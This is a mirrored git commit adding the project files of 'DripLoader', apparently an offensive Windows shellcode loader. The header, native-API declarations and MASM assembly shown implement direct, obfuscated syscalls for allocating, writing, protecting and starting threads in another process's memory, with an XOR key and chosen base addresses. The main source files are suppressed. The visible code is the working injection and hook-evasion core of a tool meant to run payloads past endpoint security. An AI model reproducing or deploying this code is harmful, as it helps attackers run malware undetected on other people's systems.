mirror of
https://github.com/xuanxuan0/DripLoader
synced 2026-06-08 18:26:51 +00:00
Add project files.
This commit is contained in:
Filip Olszak
@@ -0,0 +1,31 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 12.00
|
||||
# Visual Studio Version 16
|
||||
VisualStudioVersion = 16.0.31112.23
|
||||
MinimumVisualStudioVersion = 10.0.40219.1
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "DripLoader", "DripLoader\DripLoader.vcxproj", "{B32C9AA8-139C-4529-9ED2-252FE7EAB0F9}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|x64 = Debug|x64
|
||||
Debug|x86 = Debug|x86
|
||||
Release|x64 = Release|x64
|
||||
Release|x86 = Release|x86
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{B32C9AA8-139C-4529-9ED2-252FE7EAB0F9}.Debug|x64.ActiveCfg = Debug|x64
|
||||
{B32C9AA8-139C-4529-9ED2-252FE7EAB0F9}.Debug|x64.Build.0 = Debug|x64
|
||||
{B32C9AA8-139C-4529-9ED2-252FE7EAB0F9}.Debug|x86.ActiveCfg = Debug|Win32
|
||||
{B32C9AA8-139C-4529-9ED2-252FE7EAB0F9}.Debug|x86.Build.0 = Debug|Win32
|
||||
{B32C9AA8-139C-4529-9ED2-252FE7EAB0F9}.Release|x64.ActiveCfg = Release|x64
|
||||
{B32C9AA8-139C-4529-9ED2-252FE7EAB0F9}.Release|x64.Build.0 = Release|x64
|
||||
{B32C9AA8-139C-4529-9ED2-252FE7EAB0F9}.Release|x86.ActiveCfg = Release|Win32
|
||||
{B32C9AA8-139C-4529-9ED2-252FE7EAB0F9}.Release|x86.Build.0 = Release|Win32
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
GlobalSection(ExtensibilityGlobals) = postSolution
|
||||
SolutionGuid = {F4522440-A160-45C5-AED1-A19A32247E8B}
|
||||
EndGlobalSection
|
||||
EndGlobal
|
||||
File diff suppressed because one or more lines are too long
@@ -0,0 +1,43 @@
|
||||
#pragma once
|
||||
#define _CRT_SECURE_NO_WARNINGS
|
||||
|
||||
#include "NtThings.h"
|
||||
|
||||
#include <iostream>
|
||||
#include <tchar.h>
|
||||
#include <list>
|
||||
#include <vector>
|
||||
#include <string>
|
||||
#include <Psapi.h>
|
||||
#include <VersionHelpers.h>
|
||||
#include <Shlwapi.h>
|
||||
|
||||
#pragma comment(lib, "Shlwapi.lib")
|
||||
|
||||
using std::cout;
|
||||
using std::cin;
|
||||
using std::list;
|
||||
using std::vector;
|
||||
|
||||
const int XOR_KEY{ 8 };
|
||||
|
||||
const std::vector<LPVOID> VC_PREF_BASES{ (void*)0x00000000DDDD0000,
|
||||
(void*)0x0000000010000000,
|
||||
(void*)0x0000000021000000,
|
||||
(void*)0x0000000032000000,
|
||||
(void*)0x0000000043000000,
|
||||
(void*)0x0000000050000000,
|
||||
(void*)0x0000000041000000,
|
||||
(void*)0x0000000042000000,
|
||||
(void*)0x0000000040000000,
|
||||
(void*)0x0000000022000000 };
|
||||
|
||||
// Helpers.cpp
|
||||
LPVOID GetSuitableBaseAddress(HANDLE hProc, DWORD page_size, DWORD alloc_gran, DWORD vm_resv_c);
|
||||
unsigned char* ReadProcessBlob(const char* sc_filename, DWORD* sc_size);
|
||||
void DelayShowProgress(double percentage, int step, int step_time, int tpid, int time_needed, int vmbase);
|
||||
void EnableAnsiSupport();
|
||||
void PlayHeader();
|
||||
|
||||
const char PBAR[]{ "||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||" };
|
||||
const int PBAR_WDH{ 60 };
|
||||
@@ -0,0 +1,160 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="Debug|Win32">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|Win32">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Debug|x64">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|x64">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
</ItemGroup>
|
||||
<PropertyGroup Label="Globals">
|
||||
<VCProjectVersion>16.0</VCProjectVersion>
|
||||
<Keyword>Win32Proj</Keyword>
|
||||
<ProjectGuid>{b32c9aa8-139c-4529-9ed2-252fe7eab0f9}</ProjectGuid>
|
||||
<RootNamespace>DripLoader</RootNamespace>
|
||||
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||
<ImportGroup Label="ExtensionSettings">
|
||||
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.props" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="Shared">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<PropertyGroup Label="UserMacros" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<LanguageStandard>stdcpp17</LanguageStandard>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<Optimization>Disabled</Optimization>
|
||||
<LanguageStandard>stdcpp17</LanguageStandard>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="DripLoader.cpp" />
|
||||
<ClCompile Include="Helpers.cpp" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="DripLoader.h" />
|
||||
<ClInclude Include="NtThings.h" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<MASM Include="NtdllWinX.asm" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" />
|
||||
</ImportGroup>
|
||||
</Project>
|
||||
@@ -0,0 +1,38 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup>
|
||||
<Filter Include="Source Files">
|
||||
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
|
||||
<Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Header Files">
|
||||
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
|
||||
<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Resource Files">
|
||||
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
|
||||
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
|
||||
</Filter>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="DripLoader.cpp">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="Helpers.cpp">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="NtThings.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="DripLoader.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<MASM Include="NtdllWinX.asm">
|
||||
<Filter>Source Files</Filter>
|
||||
</MASM>
|
||||
</ItemGroup>
|
||||
</Project>
|
||||
File diff suppressed because one or more lines are too long
@@ -0,0 +1,44 @@
|
||||
#pragma once
|
||||
#include <Windows.h>
|
||||
|
||||
#define STATUS_SUCCESS 0
|
||||
|
||||
EXTERN_C NTSTATUS ANtAVM (
|
||||
HANDLE ProcessHandle,
|
||||
PVOID* BaseAddress,
|
||||
ULONG_PTR ZeroBits,
|
||||
PSIZE_T RegionSize,
|
||||
ULONG AllocationType,
|
||||
ULONG Protect
|
||||
);
|
||||
|
||||
EXTERN_C NTSTATUS ANtWVM (
|
||||
HANDLE hProcess,
|
||||
PVOID lpBaseAddress,
|
||||
PVOID lpBuffer,
|
||||
SIZE_T NumberOfBytesToRead,
|
||||
PSIZE_T NumberOfBytesRead
|
||||
);
|
||||
|
||||
EXTERN_C NTSTATUS ANtPVM (
|
||||
HANDLE ProcessHandle,
|
||||
PVOID* BaseAddress,
|
||||
SIZE_T* NumberOfBytesToProtect,
|
||||
ULONG NewAccessProtection,
|
||||
PULONG OldAccessProtection
|
||||
);
|
||||
|
||||
EXTERN_C NTSTATUS ANtCTE (
|
||||
HANDLE* pHandle,
|
||||
ACCESS_MASK DesiredAccess,
|
||||
PVOID pAttr,
|
||||
HANDLE hProc,
|
||||
PVOID pFunc,
|
||||
PVOID pArg,
|
||||
ULONG Flags,
|
||||
SIZE_T ZeroBits,
|
||||
SIZE_T StackSize,
|
||||
SIZE_T MaxStackSize,
|
||||
PVOID pAttrListOut
|
||||
);
|
||||
|
||||
@@ -0,0 +1,90 @@
|
||||
.code
|
||||
|
||||
; by Filip Olszak (@_lpvoid)
|
||||
; based on KiServiceTable from Windows 10.0.18363+
|
||||
|
||||
; compile with o p t i m i z a t i o n s turned off
|
||||
|
||||
|
||||
bye:
|
||||
ret
|
||||
|
||||
ANtAVM proc
|
||||
mov r8, r10
|
||||
mov r10, 01h
|
||||
xor r10, r10
|
||||
mov r10, 0Ah
|
||||
mov r10, rcx
|
||||
xor eax, eax
|
||||
sub r8, r10
|
||||
add eax, 18h ; 1507+
|
||||
xor r8, r8
|
||||
syscall
|
||||
ret
|
||||
ANtAVM endp
|
||||
|
||||
|
||||
ANtWVM proc
|
||||
add rcx, 0Ah
|
||||
xor eax, eax
|
||||
mov r10, rcx
|
||||
add eax, 3Ah ; 1507+
|
||||
sub r10, 0Ah
|
||||
sub rcx, 0Ah
|
||||
syscall
|
||||
ret
|
||||
ANtWVM endp
|
||||
|
||||
|
||||
ANtPVM proc
|
||||
add r10, 1Ch
|
||||
xor eax, eax
|
||||
mov r10, rcx
|
||||
sub r10, 01h
|
||||
add eax, 50h ; 1507+
|
||||
add r10, 01h
|
||||
syscall
|
||||
ret
|
||||
ANtPVM endp
|
||||
|
||||
|
||||
ANtCTE proc
|
||||
mov r12, rcx
|
||||
mov r13, rdx
|
||||
mov r14, r8
|
||||
mov r15, r9
|
||||
|
||||
mov r10, rcx
|
||||
xor rax, rax
|
||||
add eax, 0C1h ; 2004, 20H2
|
||||
syscall
|
||||
cmp rax, 00
|
||||
je bye
|
||||
|
||||
mov rcx, r12
|
||||
mov rdx, r13
|
||||
mov r8, r14
|
||||
mov r9, r15
|
||||
|
||||
mov r10, rcx
|
||||
xor rax, rax
|
||||
add eax, 0BDh ; 1903, 1909
|
||||
syscall
|
||||
cmp rax, 00
|
||||
je bye
|
||||
|
||||
mov rcx, r12
|
||||
mov rdx, r13
|
||||
mov r8, r14
|
||||
mov r9, r15
|
||||
|
||||
mov r10, rcx
|
||||
xor rax, rax
|
||||
add eax, 0BCh ; 1809
|
||||
syscall
|
||||
cmp rax, 00
|
||||
je bye
|
||||
ANtCTE endp
|
||||
|
||||
|
||||
end
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Reference in New Issue
Block a user